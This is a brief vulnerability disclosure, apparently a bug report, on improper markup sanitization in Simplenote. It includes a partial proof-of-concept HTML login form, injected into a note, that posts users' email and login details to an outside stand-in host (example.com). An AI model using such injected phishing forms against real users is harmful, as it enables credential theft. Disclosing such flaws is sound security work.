Improper markup sanitization.

One can inject HTML into a note and create a login form that sends the user's details to a third-party server. This was a fun issue to play around with. I will let the PoC do most of the talking for a change.

Sign in to Simplenote

<h1 class="signin">Please sign in</h1>
</br>
<form name="login" id="login" action="http://example.com/login.php">
    <fieldset class="classic-fieldset" style="border:none;">
        <div class="input-fields">
            <p>
                <label for="email">Email</label> …